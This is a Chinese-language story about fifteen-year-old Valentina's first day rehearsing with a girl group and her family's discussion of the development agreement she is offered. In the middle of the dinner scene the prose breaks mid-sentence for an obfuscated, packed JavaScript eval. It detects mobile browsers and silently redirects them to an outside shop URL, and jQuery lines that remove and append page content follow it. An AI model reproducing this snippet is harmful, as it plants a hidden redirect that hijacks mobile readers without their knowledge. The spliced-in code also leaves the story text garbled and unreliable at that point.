瓦伦蒂娜加入这个女团的第一天并没有被放到中间。
她甚至没有唱完整首歌。
制作人把歌词纸递给她，用笔帽点了点副歌第二行。
“这里，接Summer后面。”
她的第一个战场是在录音室里。
房间不大，一支立麦，几副耳机，玻璃后面是控制台。Summer站在麦克风前，已经练过很多遍。Denise靠在墙边，手臂抱在胸前，脸上没什么表情。Jade冲她小小笑了一下，像是怕她太尴尬。Lacey坐在钢琴旁，低头看谱，嘴角压得很平，看不清具体的表情。
瓦伦蒂娜低头看那一行词。
歌词很简单。
周五夜晚，亮片裙，偷偷出门，女孩们一起去跳舞。
teenpop里永远会有的东西。甜，清爽，没什么负担，像便利店冰柜里最便宜也最好卖的汽水。
音乐总监说：“Summer第一句，你第二句。不要抢她。”
瓦伦蒂娜点头。
伴奏响起来。
第一遍，她还是抢了。
不是故意的。
Summer最后一个尾音还没有完全落下去，她已经把半个词送了出去。玻璃后面有人抬头。Denise直接皱眉。
“你急什么？”
瓦伦蒂娜立刻闭嘴。
她低头看歌词纸，耳朵有点热。
“我以为那里该进。”
“你以为得太早了。”
这话不好听。
但也没错。
瓦伦蒂娜抿了一下唇：“好。”
玻璃后面，音乐总监按下对讲：“别听鼓点。听Summer吸气。她吸完你再进。”
Summer转头看了她一眼。
瓦伦蒂娜做了个“收到”的手势。
第二遍，她没有抢。
Summer唱第一句，声音干净，像冰块碰到玻璃杯壁。
瓦伦蒂娜接第二句。
她的声音不是房间里最强的，唱功也不是最稳的。尾音有一点沙，一点甜，像她还没完全学会把笑从声音里去掉。
但那一句接上去以后，副歌好像突然有了画面感。
Summer的第一句像是把门推开。
瓦伦蒂娜的第二句像是有一个充满活力的女孩从这扇门里跑了出去。
玻璃后面，原本在翻表格的人停住了。制作人没说话，只抬手让音乐继续。
又试了几遍。
她又进错过拍，有时候尾音显得有点飘，还因为太想把那句唱漂亮，被Lacey从钢琴旁抬头看了一眼。
“你进来的时候不要笑太早。”
瓦伦蒂娜停住：“我笑了吗？”
“你声音在笑。”Lacey把谱子翻回上一页，指着那一行，“你一进来就笑，后面的和声还没跟上，像是有人追着你身后铺红毯，而你已经迫不及待摆起了造型。晚一点。”
这话比Denise还毒。
瓦伦蒂娜看了她一会儿。
“所以我不能一上来就很高兴。”
“至少别让我们听起来像你的伴唱。”
Summer没忍住笑出声。
瓦伦蒂娜也笑了。
这次她笑得没那么耀眼，她有点尴尬，又有点服气。
“好。”她说，“我晚一点再高兴。”
Lacey弯了一下嘴角，很快又把脸收回去。
试音结束后，制作人让她们去隔壁排练室。
“走一下副歌。”他说，“不用整首，就那八拍。”
隔壁才是练舞的房间。
一整面镜子，地板上贴着彩色胶带，音响旁边堆着几瓶喝了一半的水。瓦伦蒂娜刚站进去，就知道这和刚才不一样。
刚才她只要接下Summer的声音。
现在她要证明自己适合这个团体。
Denise站到她左前方，重新数拍。
“五、六、七、八。”
第一遍，瓦伦蒂娜慢了半拍，又往前站了半步。
Denise走过来，抓住她的手腕，把她往后推。
“你挡Jade了。”
瓦伦蒂娜回头看镜子。
Jade果然被她挡掉了一半，只剩半张脸和一截肩膀。
“抱歉。”瓦伦蒂娜说。
Jade忙说：“没事。”
“有事。”Denise看着镜子，“镜头不会替你道歉。”
这下房间里安静了一秒。
瓦伦蒂娜没有回嘴。
她看向镜子里的五个人。Summer在中间，Jade的脸终于露出来，Lacey站得偏后一点，Denise的肩线很稳。自己刚才被推回半步后，画面确实有变化。
她有点不服气。
也有点明白，现在她还没有站到中间的资格。
“我站这里？”她问。
Denise伸手，把她肩膀往下按了一点。
“这里。手别举那么高。”
瓦伦蒂娜看了一眼自己的手。
“很高吗？”
Denise说：“很想被拍到的样子。”
瓦伦蒂娜脸上那点笑终于收掉了。
她当然想被拍到。
可她也看见了镜子里Jade重新出现的脸。
她把手放低。
“那我看哪里？”
Denise说：“看我肩膀。别看你自己。”
瓦伦蒂娜点头。
制作人透过对讲说：“再来。”
Denise回到位置上，重新数拍。
这一次，瓦伦蒂娜看的是Denise的肩膀。
她没看自己的腰，也没看自己的头发。她等Summer吸气，等第一句落下去，才进第二句。
还是不够稳。
但比刚才好。
又试了几遍。
瓦伦蒂娜出了汗。耳环太重，耳垂发热，皮带硌着腰侧。她没有抱怨，只是每次停下来都先看镜子，看自己有没有又往前。
Summer走到她旁边，指了指歌词纸。
“这里别等我唱完最后一个音。你等我的气口。”
瓦伦蒂娜照着她说的试了一遍。
“这样？”
“对。”
Jade把水递给她。
“你不用一直说抱歉。”
瓦伦蒂娜接过水：“我怕我第一天就成为团体事故。”
Jade笑了一下：“事故一般没这么有礼貌。”
Lacey一直没怎么说话。
直到第五遍合声，她才从钢琴旁抬头，没说话，只轻轻抬了抬下巴。
瓦伦蒂娜立刻说：“我知道，别笑太早。”
Lacey没否认，把谱子翻回刚才那页，排练继续。
排练进行了一个小时。
她改得很快，一旦下定决心，蒂娜总是能做到最好。
快到后来Denise还没开口，她已经自己往后退了半步。
快到Summer吸气之前，她会先把眼睛从镜子里的自己身上挪开。
快到Lacey又看她一眼时，她把第二句里的笑硬生生咽回去，只在尾音里留了一点。
音乐总监让她们再来最后一遍。
Summer第一句。
瓦伦蒂娜第二句。
第三句五个人合上。
这一次，监视器里的画面终于变顺了。
不是没有问题。
她们还有很多问题。
但四个原本各自正确的女孩，也只是一组女孩，加入了瓦伦蒂娜之后，像是忽然有了一个某种环绕在她们周围的气场，有了一个女团的雏形。
音乐停下。
制作人没有说“欢迎加入”。
他只是让她先去外面等。
瓦伦蒂娜坐回走廊时，刚才那个祝她好运的女孩还没走。
女孩看了一眼练习室的门。
“你是不是要进那个女团？”
瓦伦蒂娜低头想了想说。
“不知道。”
“我觉得你会。”
“为什么？”
女孩想了想。
“因为你进去以后，她们看起来更像一个girlsgroup。”
这个说法不太准确。
也不专业。
但瓦伦蒂娜听懂了。
她正想说什么，Marcy从练习室出来，叫她进去。
这一次，桌上多了一份文件。
不是很厚。
但十五岁的瓦伦蒂娜第一次看见自己的名字被打印在第一页。
`ValentinaRocca`
后面跟着一行小字。
`ProposedFifthMember/VesperGirlsDevelopmentAgreement`
拟定第五成员/VesperGirls开发协议。
制作人把文件推到她面前。
“不是正式出道合同。”他说，“你需要带回家，让父母和律师看。但我们很有诚意，也很看好你。”
瓦伦蒂娜低头看那份文件。
她见过很多试镜表。
姓名，年龄，身高，经纪人电话，是否能唱歌，是否能跳舞，是否会滑板，是否能在镜头前自然地吃麦片。
那些纸都很轻。
轻到她离开房间时，几乎能感觉自己也被留在了别人垃圾桶里。
这份文件不一样。
它不代表她已经赢得了什么，更没有一个明确的保证。
可它第一次像一条真的路。
她没有立刻去碰那份文件。
“如果我签了，是不是不能继续试镜主持节目？”
制作人说：“排期会冲突。”
“电影试镜呢？”
“不冲突的话，需要报备。我们会优先组合。”
“所以我会少很多机会。”
制作人看着她。
“是。但或许这里就是更好的机会。”
瓦伦蒂娜安静了一会儿。
“为什么想要我？”
制作人没有马上说出“因为你漂亮。”
这让她稍微认真了一点。
他说：“她们本来是四个女孩。你站进去以后，她们像一支女团。”
瓦伦蒂娜把这句话听进去了。
她把文件合上。
“我可以带回家？”
“当然。”
她抱着那份文件回家时，天已经黑了。
母亲还没睡，坐在餐桌旁缝一条裙子的侧边，针线在布料边缘走得很慢。父亲在客厅看球赛回放，音量开得很低。厨房里有番茄酱和洋葱的味道。
瓦伦蒂娜把
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17660604|206099||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
文件放到餐桌上。
“他们给了我这个。”
母亲放下针。
父亲也从客厅走过来。
母亲翻得很慢。看到排期、培训、肖像、艺名、收入分成时，眉心一点点皱起来。
“时间很满。”母亲说。
“嗯。”
“跳舞，唱歌，宣传，拍摄。学校怎么办？”
“可以上tutor。”
父亲问：“钱呢？”
瓦伦蒂娜看向他。
父亲指了指文件：“我不是问你能赚多少。我问他们怎么分。”
母亲看了他一眼。
父亲很认真：“我们得知道他们怎么开价，才知道你有没有被重视。”
瓦伦蒂娜坐在餐桌边，把今天练习室里的事说了一遍。
她说Summer唱得很好。
Denise很凶，但数拍很准。
Jade会把水递给她。
Lacey讨厌那首歌，但她写的和声很赞。
她说自己第一遍抢了拍，第二遍挡住了Jade，后来被Denise推回去。
母亲听到这里，叹了口气。
“女团就是这样子。你道歉了吗？”
“道歉了。”
“好。”
父亲问：“他们让你唱了几遍？”
瓦伦蒂娜愣了一下。
这个问题太熟悉。
“很多遍。”
“每次要求一样吗？”
“不一样。”
“你改了吗？”
“改了。”
父亲点头。
“那就不是他们白捡到了一个漂亮宝贝。”
母亲看向他：“你不要把话说得这么简单。”
“我没有。”父亲说，“我是说，如果她要走这条路，我们就看合同，找律师，把不该给的东西留下来。但她必须愿意，且做好准备。”
母亲重新低头看文件。
“这是女团。”她说。
“我知道。”
“他们会给你衣服，给你名字，给你该说的话。他们会把你做成他们觉得好卖的样子。”
“广告试镜也会。”瓦伦蒂娜说，“TeenRoom也会。”
母亲抬眼看她。
瓦伦蒂娜摸了摸文件边角。
“今天不一样。”
“哪里不一样？”
她想了一会儿。
“今天他们不是要我演某个人的女儿，也不是要我坐在早餐桌前笑得很自然。”
她低头看文件第一页自己的名字。
“他们要我，要我站进去。”
母亲没有说话。
“我知道这也会被包装。”瓦伦蒂娜说，“但至少这次，我不是站在别人家厨房里。”
她这句话说得不太成熟。
甚至有点乱。
可母亲听懂了。
父亲也听懂了。
母亲说：“你想签？”
瓦伦蒂娜没有立刻点头。
她想起无数条走廊。
麦片广告，校园节目，儿童剧，小主持，广告家庭里的女儿。一次又一次进去，又一次又一次出来，听见“喜欢你，但是”。
她也想起今天练习室里的镜子。
还有监视器里，她站进去以后，那四个女孩忽然真的像可以一起登上舞台。
“我想试。”瓦伦蒂娜说。
母亲翻回第一页，又看了一遍她的名字。
“明天不可以一个人去。”
瓦伦蒂娜眼睛亮了一下。
“所以可以？”
“所以我们先找律师。”
“但可以？”
母亲瞪她。
瓦伦蒂娜立刻扑过去抱住她。
“你是全世界最好的犯罪同伙。”
“我说过我不是同伙。”
“你是法律部门。”
父亲在旁边笑。
母亲被她抱得没办法，最后只能拍了一下她的背。
“还有，”母亲说，“如果他们要改你的名字，我们要先知道。”
瓦伦蒂娜从母亲肩上抬头。
“为什么会改？”
母亲看着文件里那一行小字。
`Stagename/marketpositioning:TBD`
艺名/市场定位：待定。
她没有立刻回答。
第二天，瓦伦蒂娜回到练习室。
这一次，她不是被从走廊里临时拉来的女孩。
她手里拿着文件袋，纸边被母亲用夹子夹得很整齐。她还带了一盒母亲烤的小饼干。
Jade第一个看见。
“你回来了！”
瓦伦蒂娜把饼干盒举起来。
“我带了贿赂。”
Summer走过来，接过一块：“你签了？”
“还没有。律师要看。”
Denise抱着手臂：“那你来干什么？”
“练。”瓦伦蒂娜说，“不然等律师看完，我还在第二个八拍送死吗？”
Denise盯着她。
没有笑。
也没有让她走。
她转身把音响打开。
“五、六、七、八。”
瓦伦蒂娜站到定位点后，准确地找到了进入的节奏，跟随音乐开始舞动身体。